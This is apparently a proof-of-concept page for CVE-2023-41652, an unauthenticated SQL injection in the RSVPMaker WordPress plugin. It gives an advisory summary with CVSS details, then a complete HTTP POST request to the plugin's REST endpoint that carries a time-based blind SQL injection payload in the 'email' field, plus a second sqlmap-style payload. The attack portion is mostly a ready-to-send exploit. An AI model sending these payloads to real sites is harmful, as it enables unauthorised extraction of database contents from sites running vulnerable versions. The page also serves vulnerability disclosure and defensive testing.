CVE-2023-41652 PoC — WordPress Plugin RSVPMaker SQL注入漏洞

Source

https://github.com/RandomRobbieBF/CVE-2023-41652

Associated Vulnerability

Title:WordPress Plugin RSVPMaker SQL注入漏洞 (CVE-2023-41652)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin RSVPMaker 存在SQL注入漏洞。目前尚无此漏洞的相关信息，请随时关注CNNVD或厂商公告。

Description

RSVPMarker <= 10.6.6 - Unauthenticated SQL Injection

Readme

# CVE-2023-41652
RSVPMarker &lt;= 10.6.6 - Unauthenticated SQL Injection


# Description:
The RSVPMarker  plugin for WordPress is vulnerable to SQL Injection via the 'email' parameter in versions up to, and including, 10.6.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

```
Severity: critical
CVE ID: CVE-2023-41652
CVSS Score: 9.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: rsvpmaker
WPScan URL: https://www.wpscan.com/plugin/rsvpmaker
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/f655704d-70a1-40d8-ae36-39029185d262?source=api-prod
```

POC
---
```
POST /wp-json/rsvpmaker/v1/rsvpmailer_member/test@example.com HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://kubernetes.docker.internal/
X-Requested-With: XMLHttpRequest
Origin: http://kubernetes.docker.internal
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

email=test@example.com'%20and%20(select*from(select(sleep(5)))a)--%20
```

```
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: email=test@example.com'XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z
```

File Snapshot


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└── [1.7K]  README.md

0 directories, 1 file

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